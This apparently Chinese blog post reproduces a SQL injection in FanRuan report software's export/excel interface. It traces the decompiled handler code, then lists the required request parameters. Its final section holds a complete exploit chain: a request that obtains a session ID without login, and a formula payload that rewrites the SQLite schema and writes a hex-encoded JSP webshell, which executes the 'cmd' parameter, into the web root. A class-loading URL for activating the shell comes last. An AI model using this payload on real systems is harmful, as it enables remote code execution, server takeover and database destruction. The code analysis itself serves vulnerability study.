帆软 export/excel SQL注入漏洞复现


免责声明

本文的知识内容,仅供网络安全从业人员学习参考
用于已获得合法授权的网站测试,请勿用于其它用途

请勿使用本文中的工具、技术及资料,
对任何未经授权的网站、系统进行测试,
否则,所造成的直接或间接后果,
均由您自行承担

2025-10-23日,帆软出现了一个 export/excel SQL 注入漏洞,今天来进行复现。

打开源代码发现,export/excel 实际上有两个接口:

v10 接口:

1
2
3
4
5
6
7
@RequestMapping(
value = {"/report/v10/largedataset/export/excel"},
method = {RequestMethod.POST}
)
public void largedsExcelExport(HttpServletRequest var1, HttpServletResponse var2) throws Exception {
LargeDatasetExcelExportHandler.HANDLER.handle(var1, var2);
}

v9 接口:

1
2
3
4
5
6
7
@RequestMapping(
value = {"/report/v9/largedataset/export/excel"},
method = {RequestMethod.GET}
)
public void largedsExcelExportV9(HttpServletRequest var1, HttpServletResponse var2) throws Exception {
com.fr.nx.app.web.v9.handler.handler.largeds.LargeDatasetExcelExportHandler.HANDLER.handle(var1, var2);
}

它将 /nx/report/v9/largedataset/export/excel 的请求都转交给 LargeDatasetExcelExportHandler.HANDLER 进行处理。接下来我们深入 LargeDatasetExcelExportHandler 查看漏洞触发点。

漏洞触发点分析

LargeDatasetExcelExportHandler 关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//

package com.fr.nx.app.web.v9.handler.handler.largeds;

import com.fr.base.Formula;
import com.fr.base.Parameter;
import com.fr.base.ParameterMapNameSpace;
import com.fr.data.NetworkHelper;
import com.fr.data.TableDataSource;
import com.fr.intelli.record.FocusPoint;
import com.fr.intelli.record.MetricRegistry;
import com.fr.intelli.record.Original;
import com.fr.io.exporter.ExportSessionManager;
import com.fr.io.exporter.excel.direct.DirectExcelExportModel;
import com.fr.io.exporter.excel.direct.DirectExcelExportPool;
import com.fr.io.exporter.excel.direct.WorkbookDataCreator;
import com.fr.json.JSONException;
import com.fr.json.JSONObject;
import com.fr.log.FineLoggerFactory;
import com.fr.nx.app.direct.AbstractExportHandler;
import com.fr.nx.app.web.handler.export.largeds.bean.LargeDatasetExcelExportJavaScript;
import com.fr.script.Calculator;
import com.fr.stable.BaseSessionFilterParameterManager;
import com.fr.stable.ParameterProvider;
import com.fr.stable.StringUtils;
import com.fr.stable.UtilEvalError;
import com.fr.stable.script.NameSpace;
import com.fr.stable.xml.XMLableReader;
import com.fr.third.javax.xml.stream.XMLStreamException;
import com.fr.web.Browser;
import com.fr.web.core.SessionParaMap;
import com.fr.web.core.SessionPoolManager;
import com.fr.web.core.TemplateSessionIDInfo;
import com.fr.web.session.SessionIDInfo;
import com.fr.web.utils.WebUtils;
import java.util.HashMap;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.Map;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class LargeDatasetExcelExportHandler extends AbstractExportHandler {
public static final LargeDatasetExcelExportHandler HANDLER = new LargeDatasetExcelExportHandler();
public static final String EXCEL_EXTENSION = ".xlsx";
public static final String DIRECT_EXCEL_EXPORT_ID = "function_plugin_com.export.ds";
private static final String FILE_NAME_WIDGET = "=$";
private static final String WIDGET_PREFIX = "\\$";
private static final String FORMULA_PLACEHOLDER = "\"";

private static String getDefaultFileName(HttpServletRequest var0, TemplateSessionIDInfo var1, String var2) {
String var3 = NetworkHelper.getHTTPRequestFileNameParameter(var0);
if (StringUtils.isEmpty(var3)) {
var3 = (String)var1.getParameterValue("__filename__");
}

if (StringUtils.isEmpty(var3)) {
var3 = var1.getWebTitle().replaceAll("\\s", "_");
var3 = var3.replaceAll(",", "_");
}

return var3 + "-" + var2;
}

private WorkbookDataCreator initCreator(Calculator var1, HttpServletRequest var2, HttpServletResponse var3, TemplateSessionIDInfo var4) throws Exception {
String var5 = WebUtils.getHTTPRequestParameter(var2, "__parameters__");
Map var6 = this.getParamsMap(var5);
LargeDatasetExcelExportJavaScript var7 = this.getEntity(var2);
String var8 = var7.getFileName();
String var9 = var7.getDsName();
LinkedHashMap var10 = var7.getColNamesMap();
DirectExcelExportModel var11 = new DirectExcelExportModel();
TableDataSource var12 = var4.getTableDataSource();
if (StringUtils.isNotEmpty(var8) && var8.startsWith("=$")) {
var8 = (String)var6.get("__filename__");
}

if (StringUtils.isEmpty(var8)) {
var8 = getDefaultFileName(var2, var4, var9);
} else if (var8.endsWith(".xlsx")) {
var8 = var8.substring(0, var8.lastIndexOf(".xlsx"));
}

this.setRes(var3, Browser.resolve(var2).getEncodedFileName4Download(var8));
var11.setDataSource(var12);
var11.setSessionID(var4.getSessionID());
if (StringUtils.isEmpty(var9)) {
throw new Exception("No datasource name specified for exportation.");
} else {
var11.setDsName(var9);
this.dealParam(var11, var1, var7, var2, var4, var6);
if (!var10.isEmpty()) {
var11.setColNamesMap(var10);
}

return WorkbookDataCreator.build(var11);
}
}

private Map<String, Object> getParamsMap(String var1) {
HashMap var2 = new HashMap();

try {
JSONObject var3 = new JSONObject(var1);
Iterator var4 = var3.keys();

while(var4.hasNext()) {
String var5 = (String)var4.next();
var2.put(var5, var3.get(var5));
}
} catch (JSONException var6) {
FineLoggerFactory.getLogger().error(var6.getMessage());
}

return var2;
}

private void dealParam(DirectExcelExportModel var1, Calculator var2, LargeDatasetExcelExportJavaScript var3, HttpServletRequest var4, TemplateSessionIDInfo var5, Map<String, Object> var6) throws UtilEvalError {
String var7 = WebUtils.getHTTPRequestParameter(var4, "functionParams");
Map var8 = this.getParamsMap(var7);
ParameterProvider[] var9 = var3.getParameters();
ParameterMapNameSpace var10 = ParameterMapNameSpace.create(var9);
NameSpace var11 = SessionIDInfo.asNameSpace(var5.getSessionID());
this.addNameSpace(var4, var2, var11, var10);
Parameter[] var12 = Parameter.providers2Parameter(var9);
LinkedHashMap var13 = new LinkedHashMap(16);

for(Parameter var17 : var12) {
Object var18 = var6.get(var17.getName());
if (var18 != null) {
var13.put(var17.getName(), var18);
} else {
JSONObject var19 = (JSONObject)var8.get(var17.getName());
if (var19 == null) {
if (var17.getValue() instanceof Formula) {
Object var24 = var2.evalValue(String.valueOf(var17.getValue()));
var13.put(var17.getName(), var24);
} else {
Object var25 = var17.getValue();
var13.put(var17.getName(), var25);
}
} else {
String var20 = String.valueOf(var17.getValue());
Map var21 = var19.toMap();

for(Map.Entry var23 : var21.entrySet()) {
var20 = var20.replaceAll("\\$" + (String)var23.getKey(), "\"" + var23.getValue().toString() + "\"");
}

Object var26 = var2.evalValue(var20);
var13.put(var17.getName(), var26);
}
}
}

var1.setParameters(this.dealWithAuthParam(var13, var5));
}

private LargeDatasetExcelExportJavaScript getEntity(HttpServletRequest var1) throws XMLStreamException {
String var2 = WebUtils.getHTTPRequestParameter(var1, "params");
LargeDatasetExcelExportJavaScript var3 = new LargeDatasetExcelExportJavaScript();
XMLableReader var4 = XMLableReader.createXMLableReader(var2);
var4.readXMLObject(var3);
return var3;
}

private void addNameSpace(HttpServletRequest var1, Calculator var2, NameSpace var3, ParameterMapNameSpace var4) {
var2.pushNameSpace(ParameterMapNameSpace.create(WebUtils.parameters4SessionIDInfor(var1)));
String var5 = WebUtils.getHTTPRequestParameter(var1, "paraMap");
if (var5 != null) {
Map var6 = (new JSONObject(var5)).toMap();
ParameterMapNameSpace var7 = ParameterMapNameSpace.create(var6);
var2.pushNameSpace(var7);
}

var2.pushNameSpace(var4);
var2.pushNameSpace(var3);
}

private void setRes(HttpServletResponse var1, String var2) {
var1.setContentType("application/x-excel");
var1.setHeader("extension", "xlsx");
var1.setHeader("Content-Disposition", "attachment;filename=" + var2 + ".xlsx");
}

private Calculator getCalculatorFromPara(HttpServletRequest var1, HttpServletResponse var2, String var3) {
TemplateSessionIDInfo var4 = (TemplateSessionIDInfo)SessionPoolManager.getSessionIDInfor(var3, TemplateSessionIDInfo.class);
if (var4 != null) {
Calculator var5 = var4.createSessionCalculator(var1, var2);
var5.pushNameSpace(ParameterMapNameSpace.create(WebUtils.parameters4SessionIDInfor(var1)));
return var5;
} else {
return null;
}
}

protected void doHandle(HttpServletRequest var1, HttpServletResponse var2, String var3) throws Exception {
TemplateSessionIDInfo var4 = (TemplateSessionIDInfo)SessionPoolManager.getSessionIDInfor(var3, TemplateSessionIDInfo.class);
Calculator var5 = this.getCalculatorFromPara(var1, var2, var3);

try {
WorkbookDataCreator var6 = this.initCreator(var5, var1, var2, var4);
DirectExcelExportPool.getInstance().export(var6, var2.getOutputStream());
MetricRegistry.getMetric().submit(FocusPoint.newBuilder().id("function_plugin_com.export.ds").text(var4.getRelativePath()).source(Original.EMBED).username(var4.getWebContext().getUserName()).ip(WebUtils.getIpAddr(var1)).build());
} finally {
ExportSessionManager.getInstance().removeExportSession(var3, "excel");
}

}

private Map<String, Object> dealWithAuthParam(Map<String, Object> var1, TemplateSessionIDInfo var2) {
String[] var3 = BaseSessionFilterParameterManager.getFilterParameters();
SessionParaMap var4 = var2.getAllSessionPara();

for(String var8 : var3) {
if (var1.containsKey(var8) && var4.containsKey(var8)) {
var1.put(var8, var4.get(var8));
}
}

return var1;
}
}

漏洞触发流程

  1. 入口doHandle 方法。
  2. 关键调用initCreatordealParam
  3. 公式执行:在 dealParam 中,通过 Calculator.evalValue() 执行传入的公式字符串,其中包含 SQL 函数调用。

入口:doHandle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected void doHandle(HttpServletRequest var1, HttpServletResponse var2, String var3) throws Exception {
// 获取会话信息 (Session Info)
TemplateSessionIDInfo var4 = (TemplateSessionIDInfo)SessionPoolManager.getSessionIDInfor(var3, TemplateSessionIDInfo.class);
//创建Calculator,帆软这里负责所有的公式运算,
Calculator var5 = this.getCalculatorFromPara(var1, var2, var3);

try {
// 初始化导出创建器
WorkbookDataCreator var6 = this.initCreator(var5, var1, var2, var4);
//执行导出流程流程
DirectExcelExportPool.getInstance().export(var6, var2.getOutputStream());
MetricRegistry.getMetric().submit(FocusPoint.newBuilder().id("function_plugin_com.export.ds").text(var4.getRelativePath()).source(Original.EMBED).username(var4.getWebContext().getUserName()).ip(WebUtils.getIpAddr(var1)).build());
} finally {
ExportSessionManager.getInstance().removeExportSession(var3, "excel");
}

}

这里都是正常,但是如果initCreator执行了恶意代码,甚至走不到导出文件就已经攻击完成了

我们现在跟进到initCreator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
private WorkbookDataCreator initCreator(Calculator var1, HttpServletRequest var2, HttpServletResponse var3, TemplateSessionIDInfo var4) throws Exception {
//获取参数
String var5 = WebUtils.getHTTPRequestParameter(var2, "__parameters__");
Map var6 = this.getParamsMap(var5);
// 获取getEntity (params)
LargeDatasetExcelExportJavaScript var7 = this.getEntity(var2);
String var8 = var7.getFileName();
String var9 = var7.getDsName();
LinkedHashMap var10 = var7.getColNamesMap();
DirectExcelExportModel var11 = new DirectExcelExportModel();
TableDataSource var12 = var4.getTableDataSource();
if (StringUtils.isNotEmpty(var8) && var8.startsWith("=$")) {
var8 = (String)var6.get("__filename__");
}

if (StringUtils.isEmpty(var8)) {
var8 = getDefaultFileName(var2, var4, var9);
} else if (var8.endsWith(".xlsx")) {
var8 = var8.substring(0, var8.lastIndexOf(".xlsx"));
}

this.setRes(var3, Browser.resolve(var2).getEncodedFileName4Download(var8));
var11.setDataSource(var12);
var11.setSessionID(var4.getSessionID());
if (StringUtils.isEmpty(var9)) {
throw new Exception("No datasource name specified for exportation.");
} else {
var11.setDsName(var9);
// 将Calculator(var1)和解析出来的(var7)传入
this.dealParam(var11, var1, var7, var2, var4, var6);
if (!var10.isEmpty()) {
var11.setColNamesMap(var10);
}

return WorkbookDataCreator.build(var11);
}
}

刚才有一个LargeDatasetExcelExportJavaScript var7 = this.getEntity(var2);用来传递

我们跟进这个方法

参数解析与执行链

1. getEntity 方法

1
2
3
4
5
6
7
8
9
10
private LargeDatasetExcelExportJavaScript getEntity(HttpServletRequest var1) throws XMLStreamException {
// 获取params参数
String var2 = WebUtils.getHTTPRequestParameter(var1, "params");
LargeDatasetExcelExportJavaScript var3 = new LargeDatasetExcelExportJavaScript();
// 创建xml
XMLableReader var4 = XMLableReader.createXMLableReader(var2);
// 填到 var3
var4.readXMLObject(var3);
return var3;
}
  • 从请求中获取 params 参数(XML格式)。
  • 使用 XMLableReader 解析为 Java 对象。

2. getParamsMap 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private Map<String, Object> getParamsMap(String var1) {
HashMap var2 = new HashMap();

try {
JSONObject var3 = new JSONObject(var1);
Iterator var4 = var3.keys();

while(var4.hasNext()) {
String var5 = (String)var4.next();
var2.put(var5, var3.get(var5));
}
} catch (JSONException var6) {
FineLoggerFactory.getLogger().error(var6.getMessage());
}
//返回map
return var2;
}
  • 解析 __parameters__functionParams(JSON格式)。

initCreator里面还有一个dealParam,这个是帆软处理公式运算的,里面有一些内置函数,而且有一个新的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
private void dealParam(DirectExcelExportModel var1, Calculator var2, LargeDatasetExcelExportJavaScript var3, HttpServletRequest var4, TemplateSessionIDInfo var5, Map<String, Object> var6) throws UtilEvalError {
String var7 = WebUtils.getHTTPRequestParameter(var4, "functionParams");
Map var8 = this.getParamsMap(var7);
ParameterProvider[] var9 = var3.getParameters();
ParameterMapNameSpace var10 = ParameterMapNameSpace.create(var9);
NameSpace var11 = SessionIDInfo.asNameSpace(var5.getSessionID());
this.addNameSpace(var4, var2, var11, var10);
Parameter[] var12 = Parameter.providers2Parameter(var9);
LinkedHashMap var13 = new LinkedHashMap(16);

for(Parameter var17 : var12) {
Object var18 = var6.get(var17.getName());
if (var18 != null) {
var13.put(var17.getName(), var18);
} else {
JSONObject var19 = (JSONObject)var8.get(var17.getName());
if (var19 == null) {
if (var17.getValue() instanceof Formula) {
Object var24 = var2.evalValue(String.valueOf(var17.getValue()));
var13.put(var17.getName(), var24);
} else {
Object var25 = var17.getValue();
var13.put(var17.getName(), var25);
}
} else {
String var20 = String.valueOf(var17.getValue());
Map var21 = var19.toMap();

for(Map.Entry var23 : var21.entrySet()) {
var20 = var20.replaceAll("\\$" + (String)var23.getKey(), "\"" + var23.getValue().toString() + "\"");
}

Object var26 = var2.evalValue(var20);
var13.put(var17.getName(), var26);
}
}
}

var1.setParameters(this.dealWithAuthParam(var13, var5));
}

image-20251223080903750

image-20251223081016877

如图

evalValue 执行链

我们跟进一下里面的evalValue

1
2
3
4
5
6
7
8
9
10
11
//var就是后面传入的=sql函数
public Object evalValue(String var1) throws UtilEvalError {
// 调用内部的eval方法
Object var2 = this.eval(var1);
if (var2 == null) {
return null;
} else {
var2 = CalculatorProviderContext.getValueConverter().result2Value(var2);
return var2;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private Object evalString(String var1) throws UtilEvalError {
Expression var2 = null;
if (var1 != null) {
try {
// 解析字符串
var2 = this.parse(var1);
} catch (ANTLRException var6) {
if (var1.contains(" ")) {
var1 = var1.replaceAll(" ", "");

try {
var2 = this.parse(var1);
} catch (ANTLRException var5) {
}

return var2 == null ? Primitive.NULL : var2.eval(this);
}

logFormulaException(this, var1, var6);
}
}

if (var2 == null) {
return null;
} else {
//执行表达式
return var2.delay4PageCal() ? PageCalObj.MARK : var2.eval(this);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public Expression parse(String var1) throws ANTLRException {
if (var1 == null) {
return null;
} else {
//如果以 "=" 开头,去掉它
var1 = var1.trim();
if (var1.startsWith("=")) {
var1 = var1.substring(1);
}

Expression var2 = (Expression)this.parsedExpression.get(var1);
if (var2 == null) {
StringReader var3 = new StringReader(var1);
FRLexer var4 = new FRLexer(var3);
FRParser var5 = new FRParser(var4);
if (StringUtils.isNotEmpty(var1)) {
var2 = var5.parse();
}

if (var2 != null) {
this.parsedExpression.put(var1, var2);
}
}

return var2;
}
}
  • 执行流程:

    1. evalValue(String): 接收字符串 “=sql(…)”。
    2. parse(String): 调用 ANTLR 编译器,去掉开头的 =,将字符串解析为语法树(AST)。
    3. globalNameSpace: 在全局命名空间中查找 sql 函数的定义。
    4. eval(this): 执行 sql 函数逻辑,发起数据库操作。
  • 公式字符串(如 =sql(...))被解析并执行。

从上面得知,现在一共需要四个参数分别如下

1
SessionID,__parameters__,functionParams,params

1. sessionID

  • 位置:HTTP Header 或 URL 参数。
  • 代码位置: NXController -> SessionPoolManager.getSessionIDInfor。
  • 要求:必须为有效的 UUID 格式,且存在于会话池中。
  • 作用:用于初始化 TemplateSessionIDInfoCalculator

必须满足的情况:

在 doHandle 方法中:

1
TemplateSessionIDInfo var4 = (TemplateSessionIDInfo)SessionPoolManager.getSessionIDInfor(var3, ...);

后端需要根据这个 ID 去初始化计算环境(Calculator)。

  • 如果你不传:SessionPoolManager 可能会抛出异常,或者返回 null,导致后续 initCreator 里获取 var4 的属性时报空指针异常(NPE),导致攻击直接中断。

2. __parameters__

  • 位置:URL Query 参数。
  • 代码位置: initCreator -> getParamsMap -> dealParam (变量 var6)。
  • 格式:合法的 JSON 字符串。
  • 关键限制:JSON 的 Key 不能与后续 XML 中定义的恶意参数名(如 cmd)相同,否则会直接使用该值而跳过公式执行。

必须满足的情况:

  1. JSON 格式:建议为合法 JSON,防止 WAF 拦截或日志报错。
  2. Key 规避:JSON 的 Key 不能 是你在 XML 里定义的恶意参数名(例如 cmd)。
1
2
3
4
5
6
7
Object var18 = var6.get(var17.getName()); // var6 就是 __parameters__ 解析后的 Map
if (var18 != null) {

// 代码将直接使用 URL 里的值,而忽略 XML 里的恶意公式!
var13.put(var17.getName(), var18);
// 循环继续,公式执行被跳过 -> 攻击失败。
}

3. functionParams

  • 位置:URL Query 参数。
  • 代码位置: dealParam -> getParamsMap (变量 var8)。
  • 格式:合法的 JSON 字符串。
  • 关键限制:与 __parameters__ 相同,Key 必须避开恶意参数名。

必须满足的情况:

parameters 完全一致。Key 必须避开 cmd。

在 dealParam else 分支里:

1
2
3
4
5
6
7
8
9
// var8 就是 functionParams 解析后的 Map
JSONObject var19 = (JSONObject)var8.get(var17.getName());
if (var19 == null) {
// 只有这里是 null,代码才会继续往下检查 XML 的 Formula 类型。
} else {
// [错误路径]
// 如果这里有值,代码会进入复杂的字符串替换逻辑,
// 导致无法直接触发 evalValue 执行公式。
}

4. params

  • 位置:HTTP 请求参数(POST body 或 URL)。
  • 代码位置: initCreator -> getEntity -> XMLableReader -> dealParam。
  • 格式:精心构造的 XML 字符串,需满足以下条件:
    1. 包含 dsName(不能为空)。
    2. 包含 <Parameters> 列表。
    3. 参数名(如 cmd)不能出现在 __parameters__functionParams 中。
    4. 参数类型必须为 Formulat="Formula")。
    5. Payload 以 = 开头,调用有效函数(如 sql)。

原因:

这是 Payload 的载体。它的每一个字节都是为了通过后端特定的 Java 类(XMLableReader)反序列化出特定的内存对象结构(LargeDatasetExcelExportJavaScript),从而在 dealParam 的逻辑判断中一路亮绿灯,最终被送入 Calculator 执行。

前台获取SessionID

上述内容只是找到了利用点,在公布出来的内容中还有一个点是该漏洞可结合前台获取SessionID漏洞造成前台远程代码执行

这里就不进行审计了,有兴趣的可以自己试一下,这里我先放出来POC

1
2
3
4
5
6
7
8
POST /webroot/decision/view/report HTTP/1.1
Host: localhost:8075
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close
Content-Length: 64

op=getSessionID&reportlets=[5b]{'reportlet':'/'}[5d]

复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
GET /webroot/decision/nx/report/v9/largedataset/export/excel?functionParams=%7B%22test%22%3A%22a%22%7D&__parameters__=%7B%22test%22%3A%22a%22%7D HTTP/1.1
Host: [target]
User-Agent: Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5
Accept-Encoding: gzip, deflate
Accept: text/html,*/*;q=0.8
Accept-Language: en-US,en;q=0.9,en;q=0.8
sessionID: 1d00802f-28ec-4a69-8dc7-b8f70047c8a0
params: {{urlenc(<root>
<Parameters>
<Parameter>
<Attributes name="cmd" />
<O t="Formula" class="Formula">
<Attributes>
<![CDATA[=sql("FRDemo","VACUUM INTO 'FRDemo_BAK.db'",1)-sql("FRDemo","PRAGMA writable_schema=on",1)-sql("FRDemo","DELETE FROM sqlite_schema",1)-sql("FRDemo","CREATE TABLE a(u text)",1)-sql("FRDemo","REPLACE INTO a VALUES(replace(zeroblob(2048),X'00',X'20')||X'3c256a6176612e696f2e496e70757453747265616d20696e3d52756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229292e676574496e70757453747265616d28293b696e7420613d2d313b627974655b5d20623d6e657720627974655b323034385d3b6f75742e7072696e7428223c7072653e22293b7768696c652828613d696e2e7265616428622929213d2d31297b6f75742e7072696e746c6e286e657720537472696e6728622c302c6129293b7d6f75742e7072696e7428223c2f7072653e22293b253e'||replace(zeroblob(2048),X'00',X'20'))",1)-sql("FRDemo","VACUUM INTO '"+JOINARRAY([ENV_HOME,'/../shell.jsp'],'')+"'",1)]]>
</Attributes>
</O>
</Parameter>
</Parameters>
<LargeDatasetExcelExportJS dsName="FRDemo" colNames="{}" exportFileName="Check" />
</root>)}}

复现效果截图

image-20251223104132936

需要解析一下JSP,找到一个前台的类帮助我们完成任意类加载,访问

1
/webroot/decision/file?path=org.apache.jasper.servlet.JasperInitializer&type=class

参考链接

总结

该漏洞源于帆软 export/excel 接口在解析用户输入的 XML 参数时,未对公式内容进行安全过滤,导致通过 Calculator.evalValue() 执行任意 SQL 语句。攻击者可通过精心构造的 params XML 数据,配合获取到合法的会话ID与规避参数,实现数据库命令执行甚至文件写入。

感谢 on1_es 提供的技术支持。

感谢 黎澈 提供的技术支持。